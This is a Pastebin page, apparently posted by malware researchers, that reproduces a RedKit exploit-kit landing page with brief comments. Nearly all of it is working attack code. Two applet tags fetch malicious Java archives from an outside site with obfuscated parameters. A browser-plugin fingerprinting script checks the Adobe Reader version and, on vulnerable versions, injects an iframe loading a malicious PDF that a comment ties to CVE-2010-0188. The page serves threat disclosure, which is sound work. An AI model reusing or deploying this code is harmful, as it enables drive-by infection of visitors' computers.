Advertisement
MalwareMustDie

RedKit - Landing page script 20120112-2

Jan 11th, 2013
1,778
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html><body><td>To unshedo dome iy unhehe an ithasshea de detovo deunheshe we me.</td>
  2.  
  3. // first jar....
  4.  
  5. <applet archive="http://windermerecottage.co.uk/332.jar" code="Runs.class"
  6. <param name="elitken" value="lbwllobapopmyellobapoptowllobapophllllobapop.9kllobapop3xbllobapop3c9llobapop/k3llobapopkhhllobapopufgllobapop.zvllobapopogsllobapopc3cllobapop.05llobapope8sllobapopgc6llobapopahcllobapopt3bllobapoptyallobapopo06llobapopchyllobapope1illobapopr0cllobapopey9llobapopmswllobapoprdgllobapope1ellobapopd29llobapopnehllobapopi2allobapopwgallobapop/dfllobapop/p2llobapop:l1llobapopp3bllobapoptf9llobapopt8yllobapophw2llobapop"
  7. /applet>
  8.  
  9. // second jar....
  10.  
  11. <applet archive="http://windermerecottage.co.uk/887.jar" code="Runs.class"
  12. <param name="elitken" value="l3xllobapopmhvllobapopt5rllobapophvillobapop.kwllobapop1xmllobapop40qllobapop/sgllobapopk6xllobapopurcllobapop.3mllobapopo8ellobapopcyollobapop.3gllobapope31llobapopgtillobapopa21llobapopt0wllobapoptg9llobapopow8llobapopcxgllobapope53llobapoprv5llobapopez3llobapopm3dllobapopreyllobapope0tllobapopdlmllobapopnwbllobapopi1tllobapopw02llobapop/ifllobapop/tbllobapop:aillobapopplpllobapoptc3llobapoptw0llobapophd1llobapop"
  13. /applet>
  14.  
  15. <script type="text/javascript"
  16.  
  17. // the header's vars...
  18.  
  19. var jsou = "src";
  20. var astxty=document.createElement("iframe");
  21. function dettq()
  22.  {
  23.   document.body.appendChild(astxty);
  24.   astxty.setAttribute(jsou,"http://windermerecottage.co.uk/987.pdf"); // PDF EXP Infector (CVE-2010-0188)
  25.   }
  26.  
  27. // the condensed part
  28.  
  29.  var Ganni=
  30.  {
  31.    version:"0.7.7",rDate:"04/11/2012",name:"Ganni",handler:function(c,b,a)
  32.    {
  33.      return function()
  34.      {
  35.        c(b,a)
  36.      }
  37.    }
  38.    ,isDefined:function(b)
  39.    {
  40.      return typeof b!="undefined"
  41.    }
  42.    ,isArray:function(b)
  43.    {
  44.      return(/array/i).test(Object.prototype.toString.call(b))
  45.    }
  46.    ,isFunc:function(b)
  47.    {
  48.      return typeof b=="function"
  49.    }
  50.    ,isString:function(b)
  51.    {
  52.      return typeof b=="string"
  53.    }
  54.    ,isNum:function(b)
  55.    {
  56.      return typeof b=="number"
  57.    }
  58.    ,isStrNum:function(b)
  59.    {
  60.      return(typeof b=="string"&&(/\d/).test(b))
  61.    }
  62.    ,getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c)
  63.    {
  64.      var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;
  65.      return a?a[0]:null
  66.    }
  67.    ,compareNums:function(h,f,d)
  68.    {
  69.      var e=this,c,b,a,g=parseInt;
  70.      if(e.isStrNum(h)&&e.isStrNum(f))
  71.      {
  72.        if(e.isDefined(d)&&d.compareNums)
  73.        {
  74.          return d.compareNums(h,f)
  75.        }
  76.        c=h.split(e.splitNumRegx);
  77.        b=f.split(e.splitNumRegx);
  78.        for(a=0;a<Math.min(c.length,b.length);
  79.        a++)
  80.        {
  81.          if(g(c[a],10)>g(b[a],10))
  82.          {
  83.            return 1
  84.          }
  85.          if(g(c[a],10)<g(b[a],10))
  86.          {
  87.            return -1
  88.          }
  89.        }
  90.      }
  91.      return 0
  92.    }
  93.    ,formatNum:function(b,c)
  94.    {
  95.      var d=this,a,e;
  96.      if(!d.isStrNum(b))
  97.      {
  98.        return null
  99.      }
  100.      if(!d.isNum(c))
  101.      {
  102.        c=4
  103.      }
  104.      c--;
  105.      e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);
  106.      for(a=0;a<4;a++)
  107.      {
  108.        if(/^(0+)(.+)$/.test(e[a]))
  109.        {
  110.          e[a]=RegExp.$2
  111.        }
  112.        if(a>c||!(/\d/).test(e[a]))
  113.        {
  114.          e[a]="0"
  115.        }
  116.      }
  117.      return e.slice(0,4).join(",")
  118.    }
  119.    ,$$hasMimeType:function(a)
  120.    {
  121.      return function(c)
  122.      {
  123.        if(!a.isIE&&c)
  124.        {
  125.          var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);
  126.          for(b=0;b<d.length;b++)
  127.          {
  128.            if(a.isString(d[b])&&/[^\s]/.test(d[b]))
  129.            {
  130.              f=navigator.mimeTypes[d[b]];
  131.              e=f?f.enabledPlugin:0;
  132.              if(e&&(e.name||e.description))
  133.              {
  134.                return f
  135.              }
  136.            }
  137.          }
  138.        }
  139.        return null
  140.      }
  141.    }
  142.    ,findNavPlugin:function(l,e,c)
  143.    {
  144.      var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;
  145.      for(f=0;f<a.length;f++)
  146.      {
  147.        m=a[f].description||g;
  148.        b=a[f].name||g;
  149.        if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext))))
  150.        {
  151.          if(!k||!(k.test(m)||k.test(b)))
  152.          {
  153.            return a[f]
  154.          }
  155.        }
  156.      }
  157.      return null
  158.    }
  159.    ,getMimeEnabledPlugin:function(k,m,c)
  160.    {
  161.      var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;
  162.      for(d=0;d<j.length;d++)
  163.      {
  164.        if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin))
  165.        {
  166.          l=f.description||h;
  167.          a=f.name||h;
  168.          if(b.test(l)||b.test(a))
  169.          {
  170.            if(!g||!(g.test(l)||g.test(a)))
  171.            {
  172.              return f
  173.            }
  174.          }
  175.        }
  176.      }
  177.      return 0
  178.    }
  179.    ,getPluginFileVersion:function(f,b)
  180.    {
  181.      var h=this,e,d,g,a,c=-1;
  182.      if(h.OS2||!f||!f.version||!(e=h.getNum(f.version)))
  183.      {
  184.        return b
  185.      }
  186.      if(!b)
  187.      {
  188.        return e
  189.      }
  190.      e=h.formatNum(e);
  191.      b=h.formatNum(b);
  192.      d=b.split(h.splitNumRegx);
  193.      g=e.split(h.splitNumRegx);
  194.      for(a=0;a<d.length;a++)
  195.      {
  196.        if(c>-1&&a>c&&d[a]!="0")
  197.        {
  198.          return b
  199.        }
  200.        if(g[a]!=d[a])
  201.        {
  202.          if(c==-1)
  203.          {
  204.            c=a
  205.          }
  206.          if(d[a]!="0")
  207.          {
  208.            return b
  209.          }
  210.        }
  211.      }
  212.      return e
  213.    }
  214.    ,AXO:window.ActiveXObject,getAXO:function(a)
  215.    {
  216.      var f=null,d,b=this,c=
  217.      {
  218.      };
  219.      try
  220.      {
  221.        f=new b.AXO(a)
  222.      }
  223.      catch(d)
  224.      {
  225.      }
  226.      return f
  227.    }
  228.    ,convertFuncs:function(f)
  229.    {
  230.      var a,g,d,b=/^[$][$]/,c=this;
  231.      for(a in f)
  232.      {
  233.        if(b.test(a))
  234.        {
  235.          try
  236.          {
  237.            g=a.slice(2);
  238.            if(g.length0&&!f[g])
  239.            {
  240.              f[g]=f[a](f);
  241.              delete f[a]
  242.            }
  243.          }
  244.          catch(d)
  245.          {
  246.          }
  247.        }
  248.      }
  249.    }
  250.    ,initObj:function(e,b,d)
  251.    {
  252.      var a,c;
  253.      if(e)
  254.      {
  255.        if(e[b[0]]==1||d)
  256.        {
  257.          for(a=0;a<b.length;a=a+2)
  258.          {
  259.            e[b[a]]=b[a+1]
  260.          }
  261.        }
  262.        for(a in e)
  263.        {
  264.          c=e[a];
  265.          if(c&&c[b[0]]==1)
  266.          {
  267.            this.initObj(c,b)
  268.          }
  269.        }
  270.      }
  271.    }
  272.    ,initScript:function()
  273.    {
  274.      var c=this,a=navigator,e="/",f,i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";c.initObj(c,["$",c]);
  275.      for(f in c.Plugins)
  276.      {
  277.        if(c.Plugins[f])
  278.        {
  279.          c.initObj(c.Plugins[f],["$",c,"$$",c.Plugins[f]],1)
  280.        }
  281.      };
  282.      c.OS=100;
  283.      if(b)
  284.      {
  285.        var d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];
  286.        for(f=d.length-2;f>=0;f=f-2)
  287.        {
  288.          if(d[f]&&new RegExp(d[f],"i").test(b))
  289.          {
  290.            c.OS=d[f+1];
  291.            break
  292.          }
  293.        }
  294.      }
  295.      c.convertFuncs(c);
  296.      c.head=(document.getElementsByTagName("head")[0]||document.getElementsByTagName("body")[0]||document.body||null);
  297.      c.isIE=(new Function("return "+e+"*@cc_on!@*"+e+"false"))();
  298.      c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;
  299.      c.ActiveXEnabled=false;
  300.      if(c.isIE)
  301.      {
  302.        var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];
  303.        for(f=0;f<j.length;f++)
  304.        {
  305.          if(c.getAXO(j[f]))
  306.          {
  307.            c.ActiveXEnabled=true;
  308.            break
  309.          }
  310.        }
  311.      }
  312.      c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
  313.      c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;
  314.      c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  315.      c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
  316.      c.isSafari=((/Apple/i).test(g)||(!g&&!c.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
  317.      c.verSafari=c.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(i)?c.formatNum(RegExp.$1):null;
  318.      c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  319.      c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
  320.      c.addWinEvent("load",c.handler(c.runWLfuncs,c))
  321.    }
  322.    ,init:function(d)
  323.    {
  324.      var c=this,b,d,a=
  325.      {
  326.        status:-3,plugin:0
  327.      };
  328.      if(!c.isString(d))
  329.      {
  330.        return a
  331.      }
  332.      if(d.length==1)
  333.      {
  334.        c.getVersionDelimiter=d;
  335.        return a
  336.      }
  337.      d=d.toLowerCase().replace(/\s/g,"");
  338.      b=c.Plugins[d];
  339.      if(!b||!b.getVersion)
  340.      {
  341.        return a
  342.      }
  343.      a.plugin=b;
  344.      if(!c.isDefined(b.installed))
  345.      {
  346.        b.installed=null;
  347.        b.version=null;
  348.        b.version0=null;
  349.        b.getVersionDone=null;
  350.        b.pluginName=d
  351.      }
  352.      c.garbage=false;
  353.      if(c.isIE&&!c.ActiveXEnabled&&d!=="java")
  354.      {
  355.        a.status=-2;
  356.        return a
  357.      }
  358.      a.status=1;
  359.      return a
  360.    }
  361.    ,fPush:function(b,a)
  362.    {
  363.      var c=this;
  364.      if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length0&&c.isFunc(b[0]))))
  365.      {
  366.        a.push(b)
  367.      }
  368.    }
  369.    ,callArray:function(b)
  370.    {
  371.      var c=this,a;
  372.      if(c.isArray(b))
  373.      {
  374.        for(a=0;a<b.length;a++)
  375.        {
  376.          if(b[a]===null)
  377.          {
  378.            return
  379.          }
  380.          c.call(b[a]);
  381.          b[a]=null
  382.        }
  383.      }
  384.    }
  385.    ,call:function(c)
  386.    {
  387.      var b=this,a=b.isArray(c)?c.length:-1;
  388.      if(a>0&&b.isFunc(c[0]))
  389.      {
  390.        c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)
  391.      }
  392.      else
  393.      {
  394.        if(b.isFunc(c))
  395.        {
  396.          c(b)
  397.        }
  398.      }
  399.    }
  400.    ,getVersionDelimiter:",",$$getVersion:function(a)
  401.    {
  402.      return function(g,d,c)
  403.      {
  404.        var e=a.init(g),f,b,h=
  405.        {
  406.        };
  407.        if(e.status0)
  408.        {
  409.          return null
  410.        };
  411.        f=e.plugin;
  412.        if(f.getVersionDone!=1)
  413.        {
  414.          f.getVersion(null,d,c);
  415.          if(f.getVersionDone===null)
  416.          {
  417.            f.getVersionDone=1
  418.          }
  419.        }
  420.        a.cleanup();
  421.        b=(f.version||f.version0);
  422.        b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;
  423.        return b
  424.      }
  425.    }
  426.    ,cleanup:function()
  427.    {
  428.    }
  429.    ,addWinEvent:function(d,c)
  430.    {
  431.      var e=this,a=window,b;
  432.      if(e.isFunc(c))
  433.      {
  434.        if(a.addEventListener)
  435.        {
  436.          a.addEventListener(d,c,false)
  437.        }
  438.        else
  439.        {
  440.          if(a.attachEvent)
  441.          {
  442.            a.attachEvent("on"+d,c)
  443.          }
  444.          else
  445.          {
  446.            b=a["on"+d];
  447.            a["on"+d]=e.winHandler(c,b)
  448.          }
  449.        }
  450.      }
  451.    }
  452.    ,winHandler:function(d,c)
  453.    {
  454.      return function()
  455.      {
  456.        d();
  457.        if(typeof c=="function")
  458.        {
  459.          c()
  460.        }
  461.      }
  462.    }
  463.    ,WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a)
  464.    {
  465.      var b=
  466.      {
  467.      };
  468.      a.winLoaded=true;
  469.      a.callArray(a.WLfuncs0);
  470.      a.callArray(a.WLfuncs);
  471.      if(a.onDoneEmptyDiv)
  472.      {
  473.        a.onDoneEmptyDiv()
  474.      }
  475.    }
  476.    ,winLoaded:false,$$onWindowLoaded:function(a)
  477.    {
  478.      return function(b)
  479.      {
  480.        if(a.winLoaded)
  481.        {
  482.          a.call(b)
  483.        }
  484.        else
  485.        {
  486.          a.fPush(b,a.WLfuncs)
  487.        }
  488.      }
  489.    }
  490.    ,div:null,divID:"Ganni",divWidth:50,pluginSize:1,emptyDiv:function()
  491.    {
  492.      var d=this,b,h,c,a,f,g;
  493.      if(d.div&&d.div.childNodes)
  494.      {
  495.        for(b=d.div.childNodes.length-1;b>=0;b--)
  496.        {
  497.          c=d.div.childNodes[b];
  498.          if(c&&c.childNodes)
  499.          {
  500.            for(h=c.childNodes.length-1;h>=0;h--)
  501.            {
  502.              g=c.childNodes[h];
  503.              try
  504.              {
  505.                c.removeChild(g)
  506.              }
  507.              catch(f)
  508.              {
  509.              }
  510.            }
  511.          }
  512.          if(c)
  513.          {
  514.            try
  515.            {
  516.              d.div.removeChild(c)
  517.            }
  518.            catch(f)
  519.            {
  520.            }
  521.          }
  522.        }
  523.      }
  524.      if(!d.div)
  525.      {
  526.        a=document.getElementById(d.divID);
  527.        if(a)
  528.        {
  529.          d.div=a
  530.        }
  531.      }
  532.      if(d.div&&d.div.parentNode)
  533.      {
  534.        try
  535.        {
  536.          d.div.parentNode.removeChild(d.div)
  537.        }
  538.        catch(f)
  539.        {
  540.        }
  541.        d.div=null
  542.      }
  543.    }
  544.    ,DONEfuncs:[],onDoneEmptyDiv:function()
  545.    {
  546.      var c=this,a,b;
  547.      if(!c.winLoaded)
  548.      {
  549.        return
  550.      }
  551.      if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null)
  552.      {
  553.        return
  554.      }
  555.      for(a in c)
  556.      {
  557.        b=c[a];
  558.        if(b&&b.funcs)
  559.        {
  560.          if(b.OTF==3)
  561.          {
  562.            return
  563.          }
  564.          if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null)
  565.          {
  566.            return
  567.          }
  568.        }
  569.      }
  570.      for(a=0;a<c.DONEfuncs.length;a++)
  571.      {
  572.        c.callArray(c.DONEfuncs)
  573.      }
  574.      c.emptyDiv()
  575.    }
  576.    ,getWidth:function(c)
  577.    {
  578.      if(c)
  579.      {
  580.        var a=c.scrollWidth||c.offsetWidth,b=this;
  581.        if(b.isNum(a))
  582.        {
  583.          return a
  584.        }
  585.      }
  586.      return -1
  587.    }
  588.    ,getTagStatus:function(m,g,a,b)
  589.    {
  590.      var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);
  591.      if(!k||!h||!d||!c.getDOMobj(m))
  592.      {
  593.        return -2
  594.      }
  595.      if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize1)
  596.      {
  597.        return 0
  598.      }
  599.      if(l>=i)
  600.      {
  601.        return -1
  602.      }
  603.      try
  604.      {
  605.        if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4))
  606.        {
  607.          if(!m.winLoaded&&c.winLoaded)
  608.          {
  609.            return 1
  610.          }
  611.          if(m.winLoaded&&c.isNum(b))
  612.          {
  613.            if(!c.isNum(m.count))
  614.            {
  615.              m.count=b
  616.            }
  617.            if(b-m.count=10)
  618.            {
  619.              return 1
  620.            }
  621.          }
  622.        }
  623.      }
  624.      catch(f)
  625.      {
  626.      }
  627.      return 0
  628.    }
  629.    ,getDOMobj:function(g,a)
  630.    {
  631.      var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;
  632.      try
  633.      {
  634.        if(b&&a)
  635.        {
  636.          d.div.focus()
  637.        }
  638.      }
  639.      catch(f)
  640.      {
  641.      }
  642.      return b?c.firstChild:null
  643.    }
  644.    ,setStyle:function(b,g)
  645.    {
  646.      var f=b.style,a,d,c=this;
  647.      if(f&&g)
  648.      {
  649.        for(a=0;a<g.length;a=a+2)
  650.        {
  651.          try
  652.          {
  653.            f[g[a]]=g[a+1]
  654.          }
  655.          catch(d)
  656.          {
  657.          }
  658.        }
  659.      }
  660.    }
  661.    ,insertDivInBody:function(a,i)
  662.    {
  663.      var h,f=this,b="pd33993399",d=null,j=i?window.top.document:window.document,c="<",g=(j.getElementsByTagName("body")[0]||j.body);
  664.      if(!g)
  665.      {
  666.        try
  667.        {
  668.          j.write(c+'div id="'+b+'">o'+c+"/div>");
  669.          d=j.getElementById(b)
  670.        }
  671.        catch(h)
  672.        {
  673.        }
  674.      }
  675.      g=(j.getElementsByTagName("body")[0]||j.body);
  676.      if(g)
  677.      {
  678.        if(g.firstChild&&f.isDefined(g.insertBefore))
  679.        {
  680.          g.insertBefore(a,g.firstChild)
  681.        }
  682.        else
  683.        {
  684.          g.appendChild(a)
  685.        }
  686.        if(d)
  687.        {
  688.          g.removeChild(d)
  689.        }
  690.      }
  691.      else
  692.      {
  693.      }
  694.    }
  695.    ,insertHTML:function(g,b,h,a,l)
  696.    {
  697.      var m,n=document,k=this,q,p=n.createElement("span"),o,j,f="<";
  698.      var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];
  699.      var i="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  700.      if(!k.isDefined(a))
  701.      {
  702.        a=""
  703.      }
  704.      if(k.isString(g)&&(/[^\s]/).test(g))
  705.      {
  706.        g=g.toLowerCase().replace(/\s/g,"");
  707.        q=f+g+' width="'+k.pluginSize+'" height="'+k.pluginSize+'" ';
  708.        q+='style="'+i+'display:inline;" ';
  709.        for(o=0;o<b.length;o=o+2)
  710.        {
  711.          if(/[^\s]/.test(b[o+1]))
  712.          {
  713.            q+=b[o]+'="'+b[o+1]+'" '
  714.          }
  715.        }
  716.        q+=">";
  717.        for(o=0;o<h.length;o=o+2)
  718.        {
  719.          if(/[^\s]/.test(h[o+1]))
  720.          {
  721.            q+=f+'param name="'+h[o]+'" value="'+h[o+1]+'" />'
  722.          }
  723.        }
  724.        q+=a+f+"/"+g+">"
  725.      }
  726.      else
  727.      {
  728.        q=a
  729.      }
  730.      if(!k.div)
  731.      {
  732.        j=n.getElementById(k.divID);
  733.        if(j)
  734.        {
  735.          k.div=j
  736.        }
  737.        else
  738.        {
  739.          k.div=n.createElement("div");
  740.          k.div.id=k.divID
  741.        }
  742.        k.setStyle(k.div,c.concat(["width",k.divWidth+"px","height",(k.pluginSize+3)+"px","fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));
  743.        if(!j)
  744.        {
  745.          k.setStyle(k.div,["position","absolute","right","0px","top","0px"]);
  746.          k.insertDivInBody(k.div)
  747.        }
  748.      }
  749.      if(k.div&&k.div.parentNode)
  750.      {
  751.        k.setStyle(p,c.concat(["fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));
  752.        try
  753.        {
  754.          p.innerHTML=q
  755.        }
  756.        catch(m)
  757.        {
  758.        };
  759.        try
  760.        {
  761.          k.div.appendChild(p)
  762.        }
  763.        catch(m)
  764.        {
  765.        };
  766.        return
  767.        {
  768.          span:p,winLoaded:k.winLoaded,tagName:g,outerHTML:q
  769.        }
  770.      }
  771.      return
  772.      {
  773.        span:null,winLoaded:k.winLoaded,tagName:"",outerHTML:q
  774.      }
  775.    }
  776.    ,Plugins:
  777.    {
  778.      adobereader:
  779.      {
  780.        mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:
  781.        {
  782.        }
  783.        ,pluginHasMimeType:function(d,c,f)
  784.        {
  785.          var b=this,e=b.$,a;
  786.          for(a in d)
  787.          {
  788.            if(d[a]&&d[a].type&&d[a].type==c)
  789.            {
  790.              return 1
  791.            }
  792.          }
  793.          if(e.getMimeEnabledPlugin(c,f))
  794.          {
  795.            return 1
  796.          }
  797.          return 0
  798.        }
  799.        ,getVersion:function(l,j)
  800.        {
  801.          var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;
  802.          if(d.isString(j))
  803.          {
  804.            j=j.replace(/\s/g,"");
  805.            if(j)
  806.            {
  807.              k=j
  808.            }
  809.          }
  810.          else
  811.          {
  812.            j=null
  813.          }
  814.          if(d.isDefined(g.INSTALLED[k]))
  815.          {
  816.            g.installed=g.INSTALLED[k];
  817.            return
  818.          }
  819.          if(!d.isIE)
  820.          {
  821.            a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  822.            if(g.getVersionDone!==0)
  823.            {
  824.              g.getVersionDone=0;
  825.              b=d.getMimeEnabledPlugin(g.mimeType,a);
  826.              if(!j)
  827.              {
  828.                n=b
  829.              }
  830.              if(!b&&d.hasMimeType(g.mimeType))
  831.              {
  832.                b=d.findNavPlugin(a,0)
  833.              }
  834.              if(b)
  835.              {
  836.                g.navPluginObj=b;
  837.                h=d.getNum(b.description)||d.getNum(b.name);
  838.                h=d.getPluginFileVersion(b,h);
  839.                if(!h&&d.OS==1)
  840.                {
  841.                  if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a))
  842.                  {
  843.                    h="9"
  844.                  }
  845.                  else
  846.                  {
  847.                    if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a))
  848.                    {
  849.                      h="8"
  850.                    }
  851.                  }
  852.                }
  853.              }
  854.            }
  855.            else
  856.            {
  857.              h=g.version
  858.            }
  859.            if(!d.isDefined(n))
  860.            {
  861.              n=d.getMimeEnabledPlugin(k,a)
  862.            }
  863.            g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))
  864.          }
  865.          else
  866.          {
  867.            b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);
  868.            c=/=\s*([\d\.]+)/g;
  869.            try
  870.            {
  871.              f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();
  872.              for(m=0;m<5;m++)
  873.              {
  874.                if(c.test(f)&&(!h||RegExp.$1>h))
  875.                {
  876.                  h=RegExp.$1
  877.                }
  878.              }
  879.            }
  880.            catch(i)
  881.            {
  882.            }
  883.            g.installed=h?1:(b?0:-1)
  884.          }
  885.          if(!g.version)
  886.          {
  887.            g.version=d.formatNum(h)
  888.          }
  889.          g.INSTALLED[k]=g.installed
  890.        }
  891.      }
  892.      ,zz:0
  893.    }
  894.  };
  895.  
  896.  
  897.  Ganni.initScript();
  898.  flopp=Ganni.getVersion("AdobeReader");
  899.  if(flopp)
  900.  {
  901.    flopp=flopp.split(',');
  902.    var g = 8;
  903.    var e = g + 1;
  904.    var f = 4;
  905.    a = flopp[0];
  906.    b = flopp[1];
  907.    stifler = true;
  908.    if(b < f && (a == g || a == e)) stifler=false;
  909.    if (!stifler)
  910.    {
  911.      astxty.setAttribute("width",15);
  912.      astxty.setAttribute("height",51);
  913.      dettq();
  914.    }
  915.  }
  916.  
  917. /script></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement